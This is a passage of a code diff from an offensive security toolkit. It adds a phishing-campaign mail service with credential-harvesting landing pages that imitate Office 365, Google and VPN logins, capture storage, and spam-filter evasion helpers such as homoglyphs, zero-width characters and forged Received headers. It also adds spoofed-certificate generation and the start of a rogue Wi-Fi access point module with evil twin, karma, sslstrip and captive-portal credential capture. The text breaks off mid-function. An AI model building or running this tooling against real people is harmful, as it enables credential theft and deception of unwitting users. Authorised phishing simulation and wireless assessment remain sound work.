+ text = text.replace(var, val) + subject = subject.replace(var, val) + + # Inject tracking + html = self._inject_tracking(html, cid, t['id'], base_url) + + config = { + 'from_addr': camp['from_addr'], + 'from_name': camp['from_name'], + 'to_addrs': [t['email']], + 'subject': subject, + 'html_body': html, + 'text_body': text, + 'smtp_host': camp.get('smtp_host', '127.0.0.1'), + 'smtp_port': camp.get('smtp_port', 25), + } + + result = self.send_email(config) + if result['ok']: + self.campaigns.update_target_status( + cid, t['id'], 'status', 'sent') + self.campaigns.update_target_status( + cid, t['id'], 'sent_at', datetime.now().isoformat()) + sent += 1 + else: + errors.append(f"{t['email']}: {result['error']}") + self.campaigns.update_target_status( + cid, t['id'], 'status', 'failed') + + if delay > 0: + time.sleep(delay) + + # Update campaign status + camp_data = self.campaigns.get_campaign(cid) + if camp_data: + camp_data['status'] = 'sent' + self.campaigns._save() + + if errors: + return {'ok': True, 'sent': sent, 'errors': errors, + 'message': f'Sent {sent}/{len(camp["targets"])} emails, {len(errors)} failed'} + return {'ok': True, 'sent': sent, + 'message': f'Campaign sent to {sent} target(s)'} + + def setup_dns_for_domain(self, domain: str, mail_host: str = '', + spf_allow: str = '') -> dict: + """Auto-configure DNS records for a spoofed domain via the DNS service. + + Creates zone + MX + SPF + DMARC records if the DNS service is running. + """ + try: + from core.dns_service import get_dns_service + dns = get_dns_service() + if not dns.is_running(): + return {'ok': False, 'error': 'DNS service not running'} + + # Create zone if it doesn't exist + dns.create_zone(domain) + + # Setup mail records + result = dns.setup_mail_records( + domain, + mx_host=mail_host or f'mail.{domain}', + spf_allow=spf_allow or 'ip4:127.0.0.1', + ) + return result + except ImportError: + return {'ok': False, 'error': 'DNS service module not available'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def dns_status(self) -> dict: + """Check if DNS service is available and running.""" + try: + from core.dns_service import get_dns_service + dns = get_dns_service() + return {'available': True, 'running': dns.is_running()} + except Exception: + return {'available': False, 'running': False} + + def test_smtp(self, host: str, port: int = 25, timeout: int = 5) -> dict: + """Test SMTP connectivity to a server.""" + try: + server = smtplib.SMTP(host, port, timeout=timeout) + banner = server.ehlo_resp or server.helo_resp + server.quit() + return { + 'ok': True, + 'message': f'Connected to {host}:{port}', + 'banner': banner.decode(errors='replace') if isinstance(banner, bytes) else str(banner), + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + +# ── Landing Page & Credential Harvesting ────────────────────────────────────── + +_LANDING_TEMPLATES = { + "Office 365 Login": { + "html": """ +Sign in to your account + +""", + "fields": ["email", "password"], + }, + "Google Login": { + "html": """ +Sign in - Google Accounts + +
    +

    Sign in

    Use your Google Account

    +
    + + +
    """, + "fields": ["email", "password"], + }, + "Generic Login": { + "html": """ +Login Required + +

    Login Required

    Please sign in to continue

    +
    + + +
    """, + "fields": ["username", "password"], + }, + "VPN Login": { + "html": """ +VPN Portal - Authentication Required + +
    🛡

    VPN Portal

    Authentication required to connect

    +
    + + + +
    +

    This connection is encrypted and monitored

    """, + "fields": ["username", "password", "otp"], + }, +} + + +class LandingPageManager: + """Manage phishing landing pages and captured credentials.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'phishmail') + self._pages_file = os.path.join(self._data_dir, 'landing_pages.json') + self._captures_file = os.path.join(self._data_dir, 'captures.json') + self._pages = {} + self._captures = [] + self._load() + + def _load(self): + os.makedirs(self._data_dir, exist_ok=True) + for attr, path in [('_pages', self._pages_file), ('_captures', self._captures_file)]: + if os.path.exists(path): + try: + with open(path, 'r') as f: + setattr(self, attr, json.load(f)) + except Exception: + pass + + def _save_pages(self): + os.makedirs(self._data_dir, exist_ok=True) + with open(self._pages_file, 'w') as f: + json.dump(self._pages, f, indent=2) + + def _save_captures(self): + os.makedirs(self._data_dir, exist_ok=True) + with open(self._captures_file, 'w') as f: + json.dump(self._captures, f, indent=2) + + def list_builtin(self) -> dict: + return {name: {'fields': t['fields'], 'builtin': True} for name, t in _LANDING_TEMPLATES.items()} + + def list_pages(self) -> dict: + result = {} + for name, t in _LANDING_TEMPLATES.items(): + result[name] = {'fields': t['fields'], 'builtin': True} + for pid, page in self._pages.items(): + result[page.get('name', pid)] = {**page, 'id': pid, 'builtin': False} + return result + + def get_page(self, name_or_id: str) -> Optional[dict]: + if name_or_id in _LANDING_TEMPLATES: + return {**_LANDING_TEMPLATES[name_or_id], 'builtin': True} + if name_or_id in self._pages: + return {**self._pages[name_or_id], 'builtin': False} + # Search by name + for pid, page in self._pages.items(): + if page.get('name') == name_or_id: + return {**page, 'id': pid, 'builtin': False} + return None + + def create_page(self, name: str, html: str, redirect_url: str = '', + fields: list = None) -> str: + pid = uuid.uuid4().hex[:10] + self._pages[pid] = { + 'name': name, 'html': html, 'redirect_url': redirect_url, + 'fields': fields or ['username', 'password'], + 'created': datetime.now().isoformat(), + } + self._save_pages() + return pid + + def delete_page(self, pid: str) -> bool: + if pid in self._pages: + del self._pages[pid] + self._save_pages() + return True + return False + + def record_capture(self, page_id: str, form_data: dict, + request_info: dict = None) -> dict: + """Record captured credentials from a landing page submission.""" + # Filter out hidden tracking fields + creds = {k: v for k, v in form_data.items() if not k.startswith('_')} + + capture = { + 'id': uuid.uuid4().hex[:10], + 'page': page_id, + 'campaign': form_data.get('_campaign', ''), + 'target': form_data.get('_target', ''), + 'credentials': creds, + 'timestamp': datetime.now().isoformat(), + } + if request_info: + capture['ip'] = request_info.get('ip', '') + capture['user_agent'] = request_info.get('user_agent', '') + capture['referer'] = request_info.get('referer', '') + + self._captures.append(capture) + # Keep last 10000 captures + if len(self._captures) > 10000: + self._captures = self._captures[-10000:] + self._save_captures() + return capture + + def get_captures(self, campaign_id: str = '', page_id: str = '') -> list: + results = self._captures + if campaign_id: + results = [c for c in results if c.get('campaign') == campaign_id] + if page_id: + results = [c for c in results if c.get('page') == page_id] + return results + + def clear_captures(self, campaign_id: str = '') -> int: + if campaign_id: + before = len(self._captures) + self._captures = [c for c in self._captures if c.get('campaign') != campaign_id] + count = before - len(self._captures) + else: + count = len(self._captures) + self._captures = [] + self._save_captures() + return count + + def render_page(self, name_or_id: str, campaign_id: str = '', + target_id: str = '', target_email: str = '') -> Optional[str]: + """Render a landing page with tracking variables injected.""" + page = self.get_page(name_or_id) + if not page: + return None + html = page['html'] + html = html.replace('{{campaign_id}}', campaign_id) + html = html.replace('{{target_id}}', target_id) + html = html.replace('{{email}}', target_email) + return html + + +# ── Email Evasion Helpers ────────────────────────────────────────────────── + +class EmailEvasion: + """Techniques to improve email deliverability and bypass filters.""" + + @staticmethod + def homoglyph_text(text: str) -> str: + """Replace some chars with Unicode homoglyphs to bypass text filters.""" + _MAP = {'a': '\u0430', 'e': '\u0435', 'o': '\u043e', 'p': '\u0440', + 'c': '\u0441', 'x': '\u0445', 'i': '\u0456'} + import random + result = [] + for ch in text: + if ch.lower() in _MAP and random.random() < 0.3: + result.append(_MAP[ch.lower()]) + else: + result.append(ch) + return ''.join(result) + + @staticmethod + def zero_width_insert(text: str) -> str: + """Insert zero-width chars to break keyword matching.""" + import random + zwchars = ['\u200b', '\u200c', '\u200d', '\ufeff'] + result = [] + for ch in text: + result.append(ch) + if ch.isalpha() and random.random() < 0.15: + result.append(random.choice(zwchars)) + return ''.join(result) + + @staticmethod + def html_entity_encode(text: str) -> str: + """Encode some chars as HTML entities.""" + import random + result = [] + for ch in text: + if ch.isalpha() and random.random() < 0.2: + result.append(f'&#x{ord(ch):x};') + else: + result.append(ch) + return ''.join(result) + + @staticmethod + def randomize_headers() -> dict: + """Generate randomized but realistic email headers.""" + import random + mailers = [ + 'Microsoft Outlook 16.0', 'Microsoft Outlook 15.0', + 'Thunderbird 102.0', 'Apple Mail (2.3654)', + 'Evolution 3.44', 'The Bat! 10.4', + ] + priorities = ['1 (Highest)', '3 (Normal)', '5 (Lowest)'] + return { + 'x_mailer': random.choice(mailers), + 'x_priority': random.choice(priorities), + 'x_originating_ip': f'10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}', + } + + @staticmethod + def spoof_received_chain(from_domain: str, hops: int = 2) -> list: + """Generate fake Received headers to look like legitimate mail flow.""" + import random + servers = ['mx', 'relay', 'gateway', 'edge', 'smtp', 'mail', 'mta'] + chain = [] + prev = f'{random.choice(servers)}.{from_domain}' + for i in range(hops): + next_srv = f'{random.choice(servers)}{i+1}.{from_domain}' + ip = f'10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}' + ts = datetime.now().strftime('%a, %d %b %Y %H:%M:%S +0000') + chain.append(f'from {prev} ({ip}) by {next_srv} with ESMTPS; {ts}') + prev = next_srv + return chain + + +# ── DKIM Helper ────────────────────────────────────────────────────────────── + +class DKIMHelper: + """Generate DKIM keys and sign emails.""" + + @staticmethod + def generate_keypair(domain: str) -> dict: + """Generate RSA keypair for DKIM signing.""" + key_dir = os.path.join(get_data_dir(), 'phishmail', 'dkim') + os.makedirs(key_dir, exist_ok=True) + + priv_path = os.path.join(key_dir, f'{domain}.key') + pub_path = os.path.join(key_dir, f'{domain}.pub') + + try: + subprocess.run([ + 'openssl', 'genrsa', '-out', priv_path, '2048' + ], check=True, capture_output=True) + subprocess.run([ + 'openssl', 'rsa', '-in', priv_path, + '-pubout', '-out', pub_path + ], check=True, capture_output=True) + + with open(pub_path, 'r') as f: + pub_key = f.read() + # Extract just the key data (strip PEM headers) + lines = [l for l in pub_key.strip().split('\n') + if not l.startswith('-----')] + dns_key = ''.join(lines) + + return { + 'ok': True, + 'private_key': priv_path, + 'public_key': pub_path, + 'dns_record': f'v=DKIM1; k=rsa; p={dns_key}', + 'selector': 'default', + 'domain': domain, + } + except FileNotFoundError: + return {'ok': False, 'error': 'OpenSSL not found'} + except subprocess.CalledProcessError as e: + return {'ok': False, 'error': f'OpenSSL error: {e.stderr.decode(errors="replace")}'} + + @staticmethod + def list_keys() -> list: + key_dir = os.path.join(get_data_dir(), 'phishmail', 'dkim') + if not os.path.isdir(key_dir): + return [] + keys = [] + for f in os.listdir(key_dir): + if f.endswith('.key'): + domain = f[:-4] + pub_exists = os.path.exists(os.path.join(key_dir, f'{domain}.pub')) + keys.append({'domain': domain, 'has_pub': pub_exists}) + return keys + + @staticmethod + def sign_message(msg_str: str, domain: str, + selector: str = 'default') -> Optional[str]: + """Sign a message with DKIM. Returns the DKIM-Signature header value.""" + try: + import dkim + key_path = os.path.join(get_data_dir(), 'phishmail', 'dkim', f'{domain}.key') + if not os.path.exists(key_path): + return None + with open(key_path, 'rb') as f: + private_key = f.read() + sig = dkim.sign(msg_str.encode(), + selector.encode(), + domain.encode(), + private_key) + return sig.decode() + except ImportError: + return None + except Exception: + return None + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_gone_fishing() -> GoneFishingServer: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = GoneFishingServer() + return _instance + + +# ── Interactive CLI ────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Gone Fishing Mail Service.""" + server = get_gone_fishing() + + while True: + print("\n" + "=" * 60) + print(" GONE FISHING MAIL SERVICE") + print(" Local network phishing simulator") + print("=" * 60) + relay_status = "RUNNING" if server.relay_running else "STOPPED" + print(f" SMTP Relay: {relay_status}") + print() + print(" 1 — Compose & Send Email") + print(" 2 — Manage Campaigns") + print(" 3 — Manage Templates") + print(" 4 — Start/Stop SMTP Relay") + print(" 5 — Generate Spoofed Certificate") + print(" 6 — View Tracking Stats") + print(" 7 — Test SMTP Connection") + print(" 0 — Back") + print() + + choice = input(" Select: ").strip() + + if choice == '0': + break + elif choice == '1': + _cli_compose(server) + elif choice == '2': + _cli_campaigns(server) + elif choice == '3': + _cli_templates(server) + elif choice == '4': + _cli_relay(server) + elif choice == '5': + _cli_generate_cert(server) + elif choice == '6': + _cli_tracking(server) + elif choice == '7': + _cli_test_smtp(server) + + +def _cli_compose(server: GoneFishingServer): + """Compose and send a single email.""" + print("\n--- Compose Email ---") + from_name = input(" From Name: ").strip() or "IT Department" + from_addr = input(" From Address: ").strip() or "it@company.local" + to_input = input(" To (comma-separated): ").strip() + if not to_input: + print(" [!] No recipients specified") + return + + to_addrs = [a.strip() for a in to_input.split(',') if a.strip()] + + # Validate + for addr in to_addrs: + ok, msg = _validate_local_only(addr) + if not ok: + print(f" [!] {msg}") + return + + subject = input(" Subject: ").strip() or "Test Email" + + # Template selection + templates = server.templates.list_templates() + print("\n Available templates:") + tpl_list = list(templates.keys()) + for i, name in enumerate(tpl_list, 1): + tag = " (built-in)" if templates[name].get('builtin') else "" + print(f" {i} — {name}{tag}") + print(f" 0 — Custom (enter HTML manually)") + + tpl_choice = input(" Template: ").strip() + html_body = '' + text_body = '' + + if tpl_choice == '0' or not tpl_choice: + html_body = input(" HTML Body (or press Enter for plain text): ").strip() + if not html_body: + text_body = input(" Plain Text Body: ").strip() + else: + try: + idx = int(tpl_choice) - 1 + if 0 <= idx < len(tpl_list): + tpl = templates[tpl_list[idx]] + html_body = tpl.get('html', '') + text_body = tpl.get('text', '') + if tpl.get('subject') and not subject: + subject = tpl['subject'] + print(f" Using template: {tpl_list[idx]}") + else: + print(" [!] Invalid template selection") + return + except ValueError: + print(" [!] Invalid selection") + return + + smtp_host = input(" SMTP Host [127.0.0.1]: ").strip() or "127.0.0.1" + smtp_port = input(" SMTP Port [25]: ").strip() or "25" + use_tls = input(" Use TLS? [y/N]: ").strip().lower() == 'y' + + config = { + 'from_addr': from_addr, + 'from_name': from_name, + 'to_addrs': to_addrs, + 'subject': subject, + 'html_body': html_body, + 'text_body': text_body, + 'smtp_host': smtp_host, + 'smtp_port': int(smtp_port), + 'use_tls': use_tls, + } + + print("\n Sending...") + result = server.send_email(config) + if result['ok']: + print(f" [+] {result['message']}") + else: + print(f" [-] {result['error']}") + + +def _cli_campaigns(server: GoneFishingServer): + """Campaign management CLI.""" + while True: + print("\n--- Campaign Management ---") + campaigns = server.campaigns.list_campaigns() + if campaigns: + for c in campaigns: + stats = server.campaigns.get_stats(c['id']) + print(f" [{c['id']}] {c['name']} — " + f"Status: {c['status']}, " + f"Targets: {stats.get('total', 0)}, " + f"Sent: {stats.get('sent', 0)}, " + f"Opened: {stats.get('opened', 0)}") + else: + print(" No campaigns yet") + + print("\n 1 — Create Campaign") + print(" 2 — Send Campaign") + print(" 3 — Delete Campaign") + print(" 0 — Back") + + choice = input(" Select: ").strip() + if choice == '0': + break + elif choice == '1': + name = input(" Campaign Name: ").strip() + if not name: + continue + templates = server.templates.list_templates() + tpl_list = list(templates.keys()) + print(" Templates:") + for i, t in enumerate(tpl_list, 1): + print(f" {i} — {t}") + tpl_idx = input(" Template #: ").strip() + try: + template = tpl_list[int(tpl_idx) - 1] + except (ValueError, IndexError): + print(" [!] Invalid template") + continue + targets = input(" Targets (comma-separated emails): ").strip() + if not targets: + continue + target_list = [t.strip() for t in targets.split(',') if t.strip()] + from_addr = input(" From Address: ").strip() or "it@company.local" + from_name = input(" From Name: ").strip() or "IT Department" + subject = input(" Subject: ").strip() or templates[template].get('subject', 'Notification') + smtp_host = input(" SMTP Host [127.0.0.1]: ").strip() or "127.0.0.1" + smtp_port = input(" SMTP Port [25]: ").strip() or "25" + + cid = server.campaigns.create_campaign( + name, template, target_list, from_addr, from_name, + subject, smtp_host, int(smtp_port)) + print(f" [+] Campaign created: {cid}") + elif choice == '2': + cid = input(" Campaign ID: ").strip() + result = server.send_campaign(cid) + if result['ok']: + print(f" [+] {result['message']}") + else: + print(f" [-] {result['error']}") + elif choice == '3': + cid = input(" Campaign ID: ").strip() + if server.campaigns.delete_campaign(cid): + print(" [+] Campaign deleted") + else: + print(" [-] Campaign not found") + + +def _cli_templates(server: GoneFishingServer): + """Template management CLI.""" + templates = server.templates.list_templates() + print("\n--- Email Templates ---") + for name, tpl in templates.items(): + tag = " (built-in)" if tpl.get('builtin') else " (custom)" + print(f" {name}{tag}") + if tpl.get('subject'): + print(f" Subject: {tpl['subject']}") + + print("\n 1 — Create Custom Template") + print(" 2 — Delete Custom Template") + print(" 0 — Back") + + choice = input(" Select: ").strip() + if choice == '1': + name = input(" Template Name: ").strip() + if not name: + return + subject = input(" Subject: ").strip() + print(" Enter HTML body (end with empty line):") + lines = [] + while True: + line = input() + if not line: + break + lines.append(line) + html = '\n'.join(lines) + text = input(" Plain text fallback: ").strip() + server.templates.save_template(name, html, text, subject) + print(f" [+] Template '{name}' saved") + elif choice == '2': + name = input(" Template Name to delete: ").strip() + if server.templates.delete_template(name): + print(f" [+] Template '{name}' deleted") + else: + print(" [-] Template not found (or is built-in)") + + +def _cli_relay(server: GoneFishingServer): + """SMTP relay control.""" + status = server.relay_status() + if status['running']: + print(f"\n SMTP Relay: RUNNING on {status['host']}:{status['port']}") + print(f" Received messages: {status['received']}") + stop = input(" Stop relay? [y/N]: ").strip().lower() + if stop == 'y': + server.stop_relay() + print(" [+] Relay stopped") + else: + print("\n SMTP Relay: STOPPED") + host = input(" Bind host [0.0.0.0]: ").strip() or "0.0.0.0" + port = input(" Bind port [2525]: ").strip() or "2525" + result = server.start_relay(host, int(port)) + print(f" [+] {result['message']}") + + +def _cli_generate_cert(server: GoneFishingServer): + """Generate spoofed certificate.""" + print("\n--- Certificate Generator ---") + print(" Generate a self-signed TLS certificate with custom fields.") + cn = input(" Common Name (CN) [mail.google.com]: ").strip() or "mail.google.com" + org = input(" Organization (O) [Google LLC]: ").strip() or "Google LLC" + ou = input(" Org Unit (OU) []: ").strip() + country = input(" Country (C) [US]: ").strip() or "US" + + result = server.generate_cert(cn=cn, org=org, ou=ou, country=country) + if result['ok']: + print(f" [+] {result['message']}") + print(f" Cert: {result['cert']}") + print(f" Key: {result['key']}") + else: + print(f" [-] {result['error']}") + + +def _cli_tracking(server: GoneFishingServer): + """View tracking stats for campaigns.""" + campaigns = server.campaigns.list_campaigns() + if not campaigns: + print("\n No campaigns to show stats for") + return + print("\n--- Campaign Tracking ---") + for c in campaigns: + stats = server.campaigns.get_stats(c['id']) + print(f"\n Campaign: {c['name']} [{c['id']}]") + print(f" Status: {c['status']}") + print(f" Total Targets: {stats.get('total', 0)}") + print(f" Sent: {stats.get('sent', 0)}") + print(f" Opened: {stats.get('opened', 0)} ({stats.get('open_rate', '0%')})") + print(f" Clicked: {stats.get('clicked', 0)} ({stats.get('click_rate', '0%')})") + + # Show per-target details + camp = server.campaigns.get_campaign(c['id']) + if camp: + for t in camp['targets']: + status_icon = '✓' if t.get('sent_at') else '·' + open_icon = '👁' if t.get('opened_at') else '' + click_icon = '🖱' if t.get('clicked_at') else '' + print(f" {status_icon} {t['email']} {open_icon} {click_icon}") + + +def _cli_test_smtp(server: GoneFishingServer): + """Test SMTP connection.""" + host = input(" SMTP Host: ").strip() + if not host: + return + port = input(" Port [25]: ").strip() or "25" + print(f" Testing {host}:{port}...") + result = server.test_smtp(host, int(port)) + if result['ok']: + print(f" [+] {result['message']}") + if result.get('banner'): + print(f" Banner: {result['banner'][:200]}") + else: + print(f" [-] {result['error']}") diff --git a/modules/pineapple.py b/modules/pineapple.py new file mode 100644 index 0000000..c0ad1cb --- /dev/null +++ b/modules/pineapple.py @@ -0,0 +1,1669 @@ +"""AUTARCH WiFi Pineapple / Rogue AP + +Evil twin AP, captive portal, karma attack, client MITM, +DNS spoofing, and credential capture for wireless assessments. +Designed for Raspberry Pi and SBCs with dual WiFi or WiFi + Ethernet. +""" + +DESCRIPTION = "Rogue AP — evil twin, captive portal, karma attacks" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import shutil +import signal +import threading +import subprocess +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Captive Portal HTML Templates ──────────────────────────────────────────── + +CAPTIVE_PORTAL_TEMPLATES = { + 'hotel_wifi': ''' + + + + +Hotel WiFi — Guest Portal + + + +
    +

    Welcome to Our Hotel

    +Enter your room details to connect to the internet. +
    + + + + + + + +
    + +
    + +''', + + 'corporate': ''' + + + + +Corporate Network — Authentication + + + +
    + +

    Network Authentication

    +Sign in with your corporate credentials to access the network. +
    + + + + + + + +
    +
    This is a monitored network. Unauthorized access is prohibited.
    + +
    + +''', + + 'social_login': ''' + + + + +Free WiFi — Connect + + + +
    +

    Free WiFi Hotspot

    +Sign in to get connected. +
    + + +
    or sign in with email
    + + + + + +
    + +
    + +''', + + 'terms_accept': ''' + + + + +WiFi — Accept Terms + + + +
    +

    WiFi Access

    +Please accept the terms of service to connect. +
    +

    Terms of Service

    +

    1. This wireless network is provided for authorized use only. By accessing this network, you agree to be bound by these terms.

    +

    2. You agree not to engage in any illegal or unauthorized activity while using this network. All network traffic may be monitored and logged.

    +

    3. The network provider is not responsible for any data loss, security breaches, or damages resulting from use of this network.

    +

    4. You acknowledge that this is a shared network and that data transmitted may be visible to other users. Use of VPN is recommended for sensitive communications.

    +

    5. The provider reserves the right to terminate access at any time without notice for any violation of these terms.

    +

    6. Maximum bandwidth allocation applies. Streaming and large downloads may be throttled during peak hours.

    +

    7. You agree to provide accurate registration information.

    +
    +
    + +
    + + +
    +
    + + +
    + + +
    + +
    + +''', +} + +PORTAL_SUCCESS_PAGE = ''' + + + + +Connected + + + +
    +
    +

    Connected Successfully

    +

    You are now connected to the internet. You may close this page and begin browsing.

    +
    + +''' + + +# ── Pineapple AP Class ─────────────────────────────────────────────────────── + +class PineappleAP: + """WiFi Pineapple / Rogue AP controller.""" + + _instance = None + + def __init__(self): + data_dir = get_data_dir() + if isinstance(data_dir, Path): + data_dir = str(data_dir) + self.data_dir = os.path.join(data_dir, 'pineapple') + os.makedirs(self.data_dir, exist_ok=True) + + self.configs_dir = os.path.join(self.data_dir, 'configs') + os.makedirs(self.configs_dir, exist_ok=True) + self.captures_dir = os.path.join(self.data_dir, 'captures') + os.makedirs(self.captures_dir, exist_ok=True) + self.traffic_dir = os.path.join(self.data_dir, 'traffic') + os.makedirs(self.traffic_dir, exist_ok=True) + + # Tool paths + self.hostapd = find_tool('hostapd') or shutil.which('hostapd') + self.dnsmasq = find_tool('dnsmasq') or shutil.which('dnsmasq') + self.iptables = find_tool('iptables') or shutil.which('iptables') + self.nftables = find_tool('nft') or shutil.which('nft') + self.airbase = find_tool('airbase-ng') or shutil.which('airbase-ng') + self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng') + self.sslstrip_bin = find_tool('sslstrip') or shutil.which('sslstrip') + self.tcpdump = find_tool('tcpdump') or shutil.which('tcpdump') + self.iwconfig_bin = shutil.which('iwconfig') + self.iw_bin = shutil.which('iw') + self.ip_bin = shutil.which('ip') + + # State + self._ap_running = False + self._ap_ssid = '' + self._ap_channel = 6 + self._ap_interface = '' + self._internet_interface = '' + self._hostapd_proc: Optional[subprocess.Popen] = None + self._dnsmasq_proc: Optional[subprocess.Popen] = None + self._portal_active = False + self._portal_type = '' + self._karma_active = False + self._karma_proc: Optional[subprocess.Popen] = None + self._sslstrip_proc: Optional[subprocess.Popen] = None + self._sslstrip_active = False + self._sniff_proc: Optional[subprocess.Popen] = None + self._dns_spoofs: Dict[str, str] = {} + self._dns_spoof_active = False + self._clients: Dict[str, Dict] = {} + self._portal_captures: List[Dict] = [] + self._traffic_stats: Dict[str, Any] = { + 'total_bytes': 0, 'top_domains': {}, 'top_clients': {} + } + self._lock = threading.Lock() + + # Load persisted captures + self._load_captures() + + # ── Interface Management ───────────────────────────────────────────── + + def get_interfaces(self) -> List[Dict]: + """List wireless interfaces with driver info, mode, channel.""" + interfaces = [] + + # Try iw first + if self.iw_bin: + try: + out = subprocess.check_output( + [self.iw_bin, 'dev'], text=True, timeout=5, + stderr=subprocess.DEVNULL + ) + current_phy = '' + iface = None + for line in out.splitlines(): + stripped = line.strip() + if stripped.startswith('phy#'): + current_phy = stripped + elif stripped.startswith('Interface'): + if iface: + interfaces.append(iface) + iface = { + 'name': stripped.split()[-1], + 'mode': 'managed', + 'channel': 0, + 'mac': '', + 'phy': current_phy, + 'driver': '' + } + elif iface: + if stripped.startswith('type'): + iface['mode'] = stripped.split()[-1] + elif stripped.startswith('channel'): + try: + iface['channel'] = int(stripped.split()[1]) + except (ValueError, IndexError): + pass + elif stripped.startswith('addr'): + iface['mac'] = stripped.split()[-1] + if iface: + interfaces.append(iface) + except Exception: + pass + + # Get driver info from /sys + for iface in interfaces: + try: + driver_link = Path(f'/sys/class/net/{iface["name"]}/device/driver') + if driver_link.exists(): + iface['driver'] = os.path.basename(os.readlink(str(driver_link))) + except Exception: + pass + + # Fallback to iwconfig + if not interfaces and self.iwconfig_bin: + try: + out = subprocess.check_output( + [self.iwconfig_bin], text=True, + stderr=subprocess.DEVNULL, timeout=5 + ) + for block in out.split('\n\n'): + if 'IEEE 802.11' in block or 'ESSID' in block: + name = block.split()[0] + mode = 'managed' + if 'Mode:Monitor' in block: + mode = 'monitor' + elif 'Mode:Master' in block: + mode = 'master' + ch_m = re.search(r'Channel[:\s]*(\d+)', block) + ch = int(ch_m.group(1)) if ch_m else 0 + interfaces.append({ + 'name': name, 'mode': mode, 'channel': ch, + 'mac': '', 'phy': '', 'driver': '' + }) + except Exception: + pass + + # Fallback: /sys/class/net + if not interfaces: + try: + wireless_dir = Path('/sys/class/net') + if wireless_dir.exists(): + for d in wireless_dir.iterdir(): + if (d / 'wireless').exists() or (d / 'phy80211').exists(): + driver = '' + try: + dl = d / 'device' / 'driver' + if dl.exists(): + driver = os.path.basename(os.readlink(str(dl))) + except Exception: + pass + interfaces.append({ + 'name': d.name, 'mode': 'unknown', 'channel': 0, + 'mac': '', 'phy': '', 'driver': driver + }) + except Exception: + pass + + # Also list non-wireless interfaces (for internet_interface) + # Tag each with 'wireless': True/False + wireless_names = {i['name'] for i in interfaces} + for iface in interfaces: + iface['wireless'] = True + + try: + net_dir = Path('/sys/class/net') + if net_dir.exists(): + for d in net_dir.iterdir(): + if d.name not in wireless_names and d.name != 'lo': + # Check if it's up and has carrier + try: + operstate = (d / 'operstate').read_text().strip() + except Exception: + operstate = 'unknown' + interfaces.append({ + 'name': d.name, 'mode': operstate, + 'channel': 0, 'mac': '', 'phy': '', + 'driver': '', 'wireless': False + }) + except Exception: + pass + + return interfaces + + def get_tools_status(self) -> Dict[str, bool]: + """Check availability of all required tools.""" + return { + 'hostapd': self.hostapd is not None, + 'dnsmasq': self.dnsmasq is not None, + 'iptables': self.iptables is not None, + 'nft': self.nftables is not None, + 'airbase-ng': self.airbase is not None, + 'aireplay-ng': self.aireplay is not None, + 'sslstrip': self.sslstrip_bin is not None, + 'tcpdump': self.tcpdump is not None, + 'iw': self.iw_bin is not None, + 'ip': self.ip_bin is not None, + } + + # ── Rogue AP ───────────────────────────────────────────────────────── + + def start_rogue_ap(self, ssid: str, interface: str, channel: int = 6, + encryption: str = 'open', password: str = None, + internet_interface: str = None) -> Dict: + """Configure and start hostapd-based rogue access point.""" + if self._ap_running: + return {'ok': False, 'error': 'AP is already running. Stop it first.'} + if not self.hostapd: + return {'ok': False, 'error': 'hostapd not found. Install with: apt install hostapd'} + if not self.dnsmasq: + return {'ok': False, 'error': 'dnsmasq not found. Install with: apt install dnsmasq'} + if not ssid or not interface: + return {'ok': False, 'error': 'SSID and interface are required'} + + try: + # Build hostapd configuration + hostapd_conf = os.path.join(self.configs_dir, 'hostapd.conf') + conf_lines = [ + f'interface={interface}', + f'ssid={ssid}', + f'channel={channel}', + 'driver=nl80211', + 'hw_mode=g', + 'wmm_enabled=0', + 'macaddr_acl=0', + 'auth_algs=1', + 'ignore_broadcast_ssid=0', + ] + + if encryption == 'wpa2' and password: + conf_lines.extend([ + 'wpa=2', + 'wpa_key_mgmt=WPA-PSK', + f'wpa_passphrase={password}', + 'rsn_pairwise=CCMP', + ]) + elif encryption == 'wpa' and password: + conf_lines.extend([ + 'wpa=1', + 'wpa_key_mgmt=WPA-PSK', + f'wpa_passphrase={password}', + 'wpa_pairwise=TKIP', + ]) + + with open(hostapd_conf, 'w') as f: + f.write('\n'.join(conf_lines) + '\n') + + # Configure interface IP + ap_ip = '10.0.0.1' + ap_subnet = '10.0.0.0/24' + if self.ip_bin: + subprocess.run( + [self.ip_bin, 'addr', 'flush', 'dev', interface], + capture_output=True, timeout=5 + ) + subprocess.run( + [self.ip_bin, 'addr', 'add', f'{ap_ip}/24', 'dev', interface], + capture_output=True, timeout=5 + ) + subprocess.run( + [self.ip_bin, 'link', 'set', interface, 'up'], + capture_output=True, timeout=5 + ) + + # Build dnsmasq configuration + dnsmasq_conf = os.path.join(self.configs_dir, 'dnsmasq.conf') + dns_lines = [ + f'interface={interface}', + 'bind-interfaces', + f'dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h', + f'dhcp-option=3,{ap_ip}', + f'dhcp-option=6,{ap_ip}', + f'server=8.8.8.8', + f'server=8.8.4.4', + 'log-queries', + f'log-facility={os.path.join(self.data_dir, "dnsmasq.log")}', + f'dhcp-leasefile={os.path.join(self.data_dir, "dnsmasq.leases")}', + ] + + # Add DNS spoofs if active + if self._dns_spoof_active and self._dns_spoofs: + for domain, ip in self._dns_spoofs.items(): + dns_lines.append(f'address=/{domain}/{ip}') + + with open(dnsmasq_conf, 'w') as f: + f.write('\n'.join(dns_lines) + '\n') + + # Set up NAT/forwarding if internet interface provided + if internet_interface: + self._setup_nat(interface, internet_interface, ap_subnet) + self._internet_interface = internet_interface + + # Start hostapd + self._hostapd_proc = subprocess.Popen( + [self.hostapd, hostapd_conf], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(1) + + # Check if hostapd started OK + if self._hostapd_proc.poll() is not None: + stderr = 